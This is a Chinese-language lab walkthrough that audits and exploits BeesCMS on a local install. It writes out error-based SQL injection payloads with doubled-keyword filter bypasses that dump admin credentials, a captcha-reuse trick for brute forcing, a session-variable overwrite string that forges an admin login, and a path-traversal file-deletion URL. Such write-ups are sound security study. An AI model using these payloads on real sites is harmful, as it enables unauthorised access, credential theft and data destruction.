参考:https://xz.aliyun.com/t/11955
搭建
基于 phpstudy 搭建
- http://beescms.com/cxxz.html 官网进行下载,可能会提示安全问题忽略即可。
- 解压后改名(beescms)放入 WWW 根目录下。
- 访问 http://127.0.0.1/beescms/install 开始安装
ps: 一直到填写数据库页面可能会出现如下问题 - 数据库用户名密码(和 phpstudy 相配)
- 数据库之前进行过冲突处理的,要进入服务打开 mysqla。
- 数据库名字,我取的是 beescms,需要用 phpstudy 打开数据库可视化工具新建一个同名数据库。
- php 版本最好 5.4 以下,版本太高不兼容会报语法错误。
- 在 mysql 里面的 my.ini 文件加入 secure_file_priv =
信息收集
目录扫描
这里顺嘴记录一下,本人用的目录扫描工具是 dirsearch,需要 python 运行,但是 dirsearch 只支持 3.7 以上版本,这时候我们要如何快速切换对应版本呢?只需要在对应版本的路径找到 python.exe,比如我的版本是 3.6,我改成 python36,执行 python36 就行。
测试了一下发现这几个网址都是后台登录界面
http://127.0.0.1/beescms/ADMIN/
http://127.0.0.1/beescms/Admin/
http://127.0.0.1/beescms/admin/
http://127.0.0.1/beescms/admin./
登录界面
sql 注入
测试
首先,观察有用户名和密码,还有验证码。
然后,可以想到的事是分别测试用户名和密码,看是否存在 sql 注入。
- 判断是否存在 sql 注入
俩方法
- 分别在用户名和密码部分手动测试一下,是否存在 sql 注入。
- 整理一个常用的测试 sql 注入的字典,用 burp 爆破判断。
这里呢,我手动测试一下吧
- 测试
- admin
密码错误 - admin’
报错啦
看来是存在 sql 注入的,那么具体是哪一种注入呢?这里有源码,我们进行一下代码审计。
代码审计
- admin/login.php
1 | if($action=='login'){ |
阅读一下代码,对用户名和密码部分用了两个函数进行处理,fl_value (),fl_html (),最后进入了 check_login () 函数
- fl_value()
看头文件,确定该函数引入路径,找到 fun.php 文件
1 | function fl_value($str){ |
preg_replace
1 | mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) |
对 sql 语句的一些关键字进行空字符替换
2. fl_html ()
1 | function fl_html($str){ |
1 | htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。 |
- check_login()
1 | function check_login($user,$password){ |
fetch_asc?
直接将用户名带入 sql 语句查询,密码也是加密后与数据库进行比对
4. fetch_asc ()
mysql.class.php
1 | function fetch_asc($sql){ |
query?
mysql_fetch_assoc () — 从结果集中取得一行作为关联数
5. query ()
1 | function query($sql){ |
mysql_error () 返回错误信息
综上
可以使用报错注入,对于一些关键字可以使用双写绕过
- 暴库
1 | admin'and updatexml(1,concat(0x7e,(seselectlect database()),0x7e),1) # |
2. 暴表
1 | admin'and updatexml(1,concat(0x7e,(seselectlect group_concat(table_name) fr from om information_schema.tables wh where ere table_schema like 'beescms'),0x7e),1) # |
1 | admin'and updatexml(1,concat(0x7e,(seselectlect group_concat(table_name) fr from om information_schema.tables wh where ere table_schema like database()),0x7e),1) # |
对长度进行限制,所以没有显示完全,可以用 right,left 函数拼接
3. 暴字段
1 | admin'and updatexml(1,concat(0x7e,(seselectlect group_concat(column_name) fr from om information_schema.columns wh where ere table_schema like database()),0x7e),1) # |
4. 暴值
1 | admin'and updatexml(1,concat(0x7e,(seselectlect group_concat(admin_name,admin_password) fr from om (beescms.bees_admin)),0x7e),1) # |
1 | admin'and updatexml(1,concat(0x7e,(seselectlect group_concat(right(admin_password,15)) fr from om (beescms.bees_admin)),0x7e),1) # |
admin21232f297a57a5a743894a0e4a801fc3
用户名:admin
密码:admin
爆破
- 分析
用户名和密码都好进行爆破,现在唯一棘手的就是绕过验证码,我们可以抓包看看情况
1 | user=admin&password=password&code=72df&submit=true&submit.x=33&submit.y=19 |
猜测 submit 可以控制验证码,如果 submit=false 会怎么样呢?验证码会不会不变?
- 验证
submit=false 情况下
- 密码错误,验证码正确
被告知密码错误 - 密码错误,验证码错误
被优先告知验证码错误
说明程序应该是优先判断验证码对不对,但是我们在控制 submit=false 情况下,不断重复发送,验证码一直都是原来那一个,由此可知 submit=false 情况下可以保证验证码不变。
- 爆破
使用 admin 成功登录!
变量覆盖导致的后台登录绕过
后台登录验证的代码在 admin/init.php 文件下
- admin/init.php
1 | //检查登陆 |
到 include/fun.php 审计 is_login ()
2. include/fun.php
1 | function is_login(){ |
登录条件: $_SESSION['login_in']==1
并且有 $_SESSION['admin']
变量,还有 time()-$_SESSION['login_time']<3600
,time () 是一个超大的数值
所以如果在一个界面可以传入
1 | _SESSION[login_in]=1&_SESSION[admin]=admin&_SESSION[login_time]=100000000000000000000000 |
那么就可以伪造登录
3. includes/init.php
1 | if (isset($_REQUEST)){$_REQUEST = fl_value($_REQUEST);} |
我们发现对 request 请求到的一些资源都在 fl_value () 中做了过滤,但是 post 没做过滤,那么我们看一下哪些界面引用了这个文件,就可以进行 post 传参,然后再切换到登录界面,应该就可以实现登录。
4. index.php
1 | require_once('includes/init.php'); |
引入的文件如果看不见,可以在 includes/init.php 传参处打断点,逐步运行调试,看哪一步用到了。
5. 传参
hackbar
任意文件删除漏洞
admin/admin_ajax.php
1 | $value=$_REQUEST['value']; |
没有对 value 值进行严格过滤(或者说没有过滤),导致可以传任意值,我可以传入一些路径的文件进行删除,或者我可以删除站内文件。 …/ 文件
从 include 文件开始
登录后构造
payload:
1 | http://127.0.0.1/beescms/admin/admin_ajax.php?action=del_pic&value=../文件名 |